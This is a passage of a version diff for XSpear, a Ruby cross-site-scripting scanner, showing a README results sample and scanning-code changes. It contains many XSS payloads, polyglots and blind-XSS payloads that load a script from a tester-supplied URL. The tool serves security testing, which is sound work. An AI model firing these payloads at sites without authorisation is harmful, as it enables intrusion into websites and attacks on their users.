Code"},{"id":17,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<meter onmouseover=alert(45)>0</meter>","description":"reflected HTML5 XSS Code"},{"id":18,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<keygen autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":19,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"triggered <audio src onloadstart=alert(45)>"},{"id":20,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"triggered <marquee onstart=alert(45)>"},{"id":21,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert(45)\">","description":"triggered <details/open/ontoggle=\"alert(45)\">"},{"id":22,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"triggered <script>alert(45)</script>"},{"id":23,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"'\"><svg/onload=alert(45)>","description":"triggered <svg/onload=alert(45)>"}]}
|
|
211
228
|
```
|
|
212
229
|
|
|
213
230
|
## Usage on ruby code (gem library)
|
|
@@ -278,7 +295,7 @@ Common Callback Class
|
|
|
278
295
|
- CallbackCheckHeaders
|
|
279
296
|
- CallbackStringMatch
|
|
280
297
|
- CallbackNotAdded
|
|
281
|
-
etc...
|
|
298
|
+
- etc...
|
|
282
299
|
|
|
283
300
|
## Update
|
|
284
301
|
if nomal user
|
data/lib/XSpear/version.rb
CHANGED
data/lib/XSpear.rb
CHANGED
|
@@ -28,6 +28,8 @@ class XspearScan
|
|
|
28
28
|
@blind_url = options['blind']
|
|
29
29
|
@report = XspearRepoter.new @url, Time.now, (@data.nil? ? "GET" : "POST")
|
|
30
30
|
@filtered_objects = {}
|
|
31
|
+
@reflected_params = []
|
|
32
|
+
@param_check_switch = 0
|
|
31
33
|
end
|
|
32
34
|
|
|
33
35
|
class ScanCallbackFunc
|
|
@@ -65,8 +67,10 @@ class XspearScan
|
|
|
65
67
|
class CallbackNotAdded < ScanCallbackFunc
|
|
66
68
|
def run
|
|
67
69
|
if @response.body.include? @query
|
|
68
|
-
|
|
69
|
-
|
|
70
|
+
if (@verbose.to_i > 1)
|
|
71
|
+
time = Time.now
|
|
72
|
+
puts '[I]'.blue + " [#{time.strftime('%H:%M:%S')}] [#{@response.code}/#{@response.message}] reflected #{@query}"
|
|
73
|
+
end
|
|
70
74
|
[false, true]
|
|
71
75
|
else
|
|
72
76
|
[false, "Not reflected #{@query}"]
|
|
@@ -421,32 +425,69 @@ class XspearScan
|
|
|
421
425
|
]
|
|
422
426
|
|
|
423
427
|
|
|
424
|
-
|
|
428
|
+
## [ Parameter Analysis ]
|
|
429
|
+
log('s', 'analysis request..')
|
|
425
430
|
r.push makeQueryPattern('x', '<script>alert(45)</script>', '<script>alert(45)</script>', 'i', "Found WAF", CallbackCheckWAF)
|
|
426
431
|
r.push makeQueryPattern('s', '', '', 'i', "-", CallbackCheckHeaders)
|
|
427
432
|
r.push makeQueryPattern('d', 'XsPeaR"', 'XsPeaR"', 'i', "Found SQL Error Pattern", CallbackErrorPatternMatch)
|
|
428
433
|
r.push makeQueryPattern('r', 'rEfe6', 'rEfe6', 'i', 'reflected parameter', CallbackStringMatch)
|
|
434
|
+
r = r.flatten
|
|
435
|
+
r = r.flatten
|
|
436
|
+
|
|
437
|
+
|
|
438
|
+
threads = []
|
|
439
|
+
r.each_slice(@thread) do |jobs|
|
|
440
|
+
jobs.map do |node|
|
|
441
|
+
Thread.new do
|
|
442
|
+
begin
|
|
443
|
+
result, req, res = task(node[:query], node[:inject], node[:pattern], node[:callback])
|
|
444
|
+
# p result.body
|
|
445
|
+
if @verbose.to_i > 2
|
|
446
|
+
log('d', "[#{res.code}/#{res.message}] #{node[:query]} in #{node[:inject]}\n[ Request ]\n#{req.to_hash.inspect}\n[ Response ]\n#{res.to_hash.inspect}")
|
|
447
|
+
end
|
|
448
|
+
if result[0]
|
|
449
|
+
log(node[:category], "[#{res.code}/#{res.message}] "+(result[1]).to_s.yellow+"[param: #{node[:param]}][#{node[:desc]}]")
|
|
450
|
+
@report.add_issue(node[:category],node[:type],node[:param],node[:query],node[:pattern],node[:desc])
|
|
451
|
+
@reflected_params.push node[:param]
|
|
452
|
+
elsif (node[:callback] == CallbackNotAdded) && (result[1].to_s == "true")
|
|
453
|
+
@filtered_objects[node[:param].to_s].nil? ? (@filtered_objects[node[:param].to_s] = [node[:pattern].to_s]) : (@filtered_objects[node[:param].to_s].push(node[:pattern].to_s))
|
|
454
|
+
elsif node[:type] != "d"
|
|
455
|
+
log('d', "[#{res.code}/#{res.message}] '#{node[:param]}' "+(result[1]).to_s)
|
|
456
|
+
end
|
|
457
|
+
rescue => e
|
|
458
|
+
end
|
|
459
|
+
end
|
|
460
|
+
end.each(&:join)
|
|
461
|
+
end
|
|
462
|
+
log('s',"creating a test query [for reflected #{@reflected_params.length} param + blind xss ]")
|
|
463
|
+
@param_check_switch = false
|
|
464
|
+
## [ XSS Scanning ]
|
|
465
|
+
r = []
|
|
429
466
|
# Check Special Char
|
|
430
467
|
special_chars.each do |sc|
|
|
431
468
|
r.push makeQueryPattern('f', "#{sc}XsPeaR", "#{sc}XsPeaR", 'i', "not filtered "+"#{sc}".blue, CallbackNotAdded)
|
|
432
469
|
end
|
|
433
470
|
|
|
471
|
+
|
|
434
472
|
# Check Event Handler
|
|
435
473
|
r.push makeQueryPattern('f', '\"><xspear onhwul=64>', 'onhwul=64', 'i', "not filtered event handler "+"on{any} pattern".blue, CallbackStringMatch)
|
|
436
474
|
event_handler.each do |ev|
|
|
437
475
|
r.push makeQueryPattern('f', "\"<xspear #{ev}=64>", "#{ev}=64", 'i', "not filtered event handler "+"#{ev}=64".blue, CallbackNotAdded)
|
|
438
476
|
end
|
|
439
477
|
|
|
478
|
+
|
|
440
479
|
# Check HTML Tag
|
|
441
480
|
tags.each do |tag|
|
|
442
481
|
r.push makeQueryPattern('f', "\">xsp<#{tag}>", "xsp<#{tag}>", 'i', "not filtered "+"<#{tag}>".blue, CallbackNotAdded)
|
|
443
482
|
end
|
|
444
483
|
|
|
484
|
+
|
|
445
485
|
# Check useful code
|
|
446
486
|
useful_code.each do |c|
|
|
447
487
|
r.push makeQueryPattern('f', "#{c}.xspear", "#{c}.xspear", 'i', "not filtered "+"'#{c}' code".blue, CallbackNotAdded)
|
|
448
488
|
end
|
|
449
489
|
|
|
490
|
+
|
|
450
491
|
# Check Common XSS Payloads
|
|
451
492
|
onfocus_tags = [
|
|
452
493
|
"input",
|
|
@@ -465,13 +506,15 @@ class XspearScan
|
|
|
465
506
|
r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
|
|
466
507
|
r.push makeQueryPattern('x', '"\'><meter onmouseover=alert(45)>0</meter>', '<meter onmouseover=alert(45)>0</meter>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
|
|
467
508
|
|
|
509
|
+
|
|
468
510
|
onfocus_tags.each do |t|
|
|
469
511
|
r.push makeQueryPattern('x', "\"'><#{t} autofocus onfocus=alert(45)>", "<#{t} autofocus onfocus=alert(45)>", 'h', "reflected "+"onfocus XSS Code".red, CallbackStringMatch)
|
|
470
512
|
end
|
|
471
513
|
|
|
514
|
+
|
|
472
515
|
# Check Selenium Common XSS Payloads
|
|
473
516
|
r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "triggered ".yellow+"<script>alert(45)</script>".red, CallbackXSSSelenium)
|
|
474
|
-
r.push makeQueryPattern('x', '"><
|
|
517
|
+
r.push makeQueryPattern('x', '"><svgonload=alert(45)>', '<svg(0x0c)onload=alert(1)>', 'v', "triggered ".yellow+"<svg(0x0c)onload=alert(1)>".red, CallbackXSSSelenium)
|
|
475
518
|
r.push makeQueryPattern('x', '<xmp><p title="</xmp><svg/onload=alert(45)>">', '<xmp><p title="</xmp><svg/onload=alert(45)>">', 'v', "triggered ".yellow+"<xmp><p title='</xmp><svg/onload=alert(45)>'>".red, CallbackXSSSelenium)
|
|
476
519
|
r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
|
|
477
520
|
r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'h', "triggered ".yellow+"<video/poster/onerror=alert(45)>".red, CallbackXSSSelenium)
|
|
@@ -479,49 +522,55 @@ class XspearScan
|
|
|
479
522
|
r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'h', "triggered ".yellow+"<audio src onloadstart=alert(45)>".red, CallbackXSSSelenium)
|
|
480
523
|
r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "triggered ".yellow+"<marquee onstart=alert(45)>".red, CallbackXSSSelenium)
|
|
481
524
|
|
|
525
|
+
|
|
482
526
|
# Check Selenium XSS Polyglot
|
|
483
527
|
r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
484
528
|
r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert(45)//--><<sVg/onload=alert`45`>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
485
529
|
r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
486
530
|
|
|
487
531
|
|
|
532
|
+
|
|
533
|
+
|
|
488
534
|
# Check Blind XSS Payload
|
|
489
535
|
if !@blind_url.nil?
|
|
490
|
-
r.push makeQueryPattern('f', "\"'><script src=#{@blind_url}></script>", "
|
|
491
|
-
r.push makeQueryPattern('f', "\"'><script>$.getScript('#{@blind_url}')</script>", "
|
|
492
|
-
r.push makeQueryPattern('f', "\"'><svg onload=javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'#{@blind_url}\';d.body.appendChild(_)')>", "
|
|
493
|
-
r.push makeQueryPattern('f', "\"'><iframe src=javascript:$.getScript('#{@blind_url}')></iframe>", "
|
|
536
|
+
r.push makeQueryPattern('f', "\"'><script src=#{@blind_url}></script>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded)
|
|
537
|
+
r.push makeQueryPattern('f', "\"'><script>$.getScript('#{@blind_url}')</script>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded)
|
|
538
|
+
r.push makeQueryPattern('f', "\"'><svg onload=javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'#{@blind_url}\';d.body.appendChild(_)')>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded)
|
|
539
|
+
r.push makeQueryPattern('f', "\"'><iframe src=javascript:$.getScript('#{@blind_url}')></iframe>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded)
|
|
494
540
|
end
|
|
495
541
|
|
|
542
|
+
|
|
496
543
|
r = r.flatten
|
|
497
544
|
r = r.flatten
|
|
498
545
|
log('s', "test query generation is complete. [#{r.length} query]")
|
|
499
|
-
log('s', "starting
|
|
546
|
+
log('s', "starting XSS Scanning. [#{@thread} threads]")
|
|
547
|
+
|
|
500
548
|
|
|
501
549
|
threads = []
|
|
502
550
|
r.each_slice(@thread) do |jobs|
|
|
503
551
|
jobs.map do |node|
|
|
504
552
|
Thread.new do
|
|
505
553
|
begin
|
|
506
|
-
|
|
507
|
-
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
511
|
-
|
|
512
|
-
|
|
513
|
-
|
|
514
|
-
|
|
515
|
-
|
|
516
|
-
|
|
517
|
-
|
|
518
|
-
|
|
554
|
+
result, req, res = task(node[:query], node[:inject], node[:pattern], node[:callback])
|
|
555
|
+
# p result.body
|
|
556
|
+
if @verbose.to_i > 2
|
|
557
|
+
log('d', "[#{res.code}/#{res.message}] #{node[:query]} in #{node[:inject]}\n[ Request ]\n#{req.to_hash.inspect}\n[ Response ]\n#{res.to_hash.inspect}")
|
|
558
|
+
end
|
|
559
|
+
if result[0]
|
|
560
|
+
log(node[:category], "[#{res.code}/#{res.message}] "+(result[1]).to_s.yellow+"[param: #{node[:param]}][#{node[:desc]}]")
|
|
561
|
+
@report.add_issue(node[:category],node[:type],node[:param],node[:query],node[:pattern],node[:desc])
|
|
562
|
+
elsif (node[:callback] == CallbackNotAdded) && (result[1].to_s == "true")
|
|
563
|
+
@filtered_objects[node[:param].to_s].nil? ? (@filtered_objects[node[:param].to_s] = [node[:pattern].to_s]) : (@filtered_objects[node[:param].to_s].push(node[:pattern].to_s))
|
|
564
|
+
elsif node[:type] != "f"
|
|
565
|
+
log('d', "[#{res.code}/#{res.message}] '#{node[:param]}' "+(result[1]).to_s)
|
|
566
|
+
end
|
|
519
567
|
rescue => e
|
|
520
568
|
end
|
|
521
569
|
end
|
|
522
570
|
end.each(&:join)
|
|
523
571
|
end
|
|
524
572
|
|
|
573
|
+
|
|
525
574
|
@report.set_filtered @filtered_objects
|
|
526
575
|
@report.set_endtime
|
|
527
576
|
log('s', "finish scan. the report is being generated..")
|
|
@@ -555,19 +604,7 @@ class XspearScan
|
|
|
555
604
|
begin
|
|
556
605
|
params = URI.decode_www_form(uri.query)
|
|
557
606
|
params.each do |p|
|
|
558
|
-
if
|
|
559
|
-
attack = ""
|
|
560
|
-
dparams = params
|
|
561
|
-
dparams.each do |d|
|
|
562
|
-
attack = uri.query.sub "#{d[0]}=#{d[1]}","#{d[0]}=#{d[1]}#{URI::encode(payload)}" if p[0] == d[0]
|
|
563
|
-
#d[1] = p[1] + payload if p[0] == d[0]
|
|
564
|
-
end
|
|
565
|
-
result.push("inject": 'url',"param":p[0] ,"type": type, "query": attack, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
|
566
|
-
end
|
|
567
|
-
end
|
|
568
|
-
unless @data.nil?
|
|
569
|
-
params = URI.decode_www_form(@data)
|
|
570
|
-
params.each do |p|
|
|
607
|
+
if (@param_check_switch) || (@reflected_params.include? p[0]) || pattern == "BLINDNOTDETECTED"
|
|
571
608
|
if @params.nil? || (@params.include? p[0] if !@params.nil?)
|
|
572
609
|
attack = ""
|
|
573
610
|
dparams = params
|
|
@@ -575,7 +612,23 @@ class XspearScan
|
|
|
575
612
|
attack = uri.query.sub "#{d[0]}=#{d[1]}","#{d[0]}=#{d[1]}#{URI::encode(payload)}" if p[0] == d[0]
|
|
576
613
|
#d[1] = p[1] + payload if p[0] == d[0]
|
|
577
614
|
end
|
|
578
|
-
result.push("inject": '
|
|
615
|
+
result.push("inject": 'url',"param":p[0] ,"type": type, "query": attack, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
|
616
|
+
end
|
|
617
|
+
end
|
|
618
|
+
end
|
|
619
|
+
unless @data.nil?
|
|
620
|
+
params = URI.decode_www_form(@data)
|
|
621
|
+
params.each do |p|
|
|
622
|
+
if !@param_check_switch || (@reflected_params.include? p)
|
|
623
|
+
if @params.nil? || (@params.include? p[0] if !@params.nil?)
|
|
624
|
+
attack = ""
|
|
625
|
+
dparams = params
|
|
626
|
+
dparams.each do |d|
|
|
627
|
+
attack = uri.query.sub "#{d[0]}=#{d[1]}","#{d[0]}=#{d[1]}#{URI::encode(payload)}" if p[0] == d[0]
|
|
628
|
+
#d[1] = p[1] + payload if p[0] == d[0]
|
|
629
|
+
end
|
|
630
|
+
result.push("inject": 'body', "param":p[0], "type": type, "query": attack, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
|
631
|
+
end
|
|
579
632
|
end
|
|
580
633
|
end
|
|
581
634
|
end
|
|
@@ -586,7 +639,6 @@ class XspearScan
|
|
|
586
639
|
end
|
|
587
640
|
end
|
|
588
641
|
|
|
589
|
-
|
|
590
642
|
def task(query, injected, pattern, callback)
|
|
591
643
|
begin
|
|
592
644
|
uri = URI.parse(@url)
|
metadata
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: XSpear
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 1.1.
|
|
4
|
+
version: 1.1.5
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- hahwul
|
|
8
8
|
autorequire:
|
|
9
9
|
bindir: exe
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date: 2019-08-
|
|
11
|
+
date: 2019-08-14 00:00:00.000000000 Z
|
|
12
12
|
dependencies:
|
|
13
13
|
- !ruby/object:Gem::Dependency
|
|
14
14
|
name: colorize
|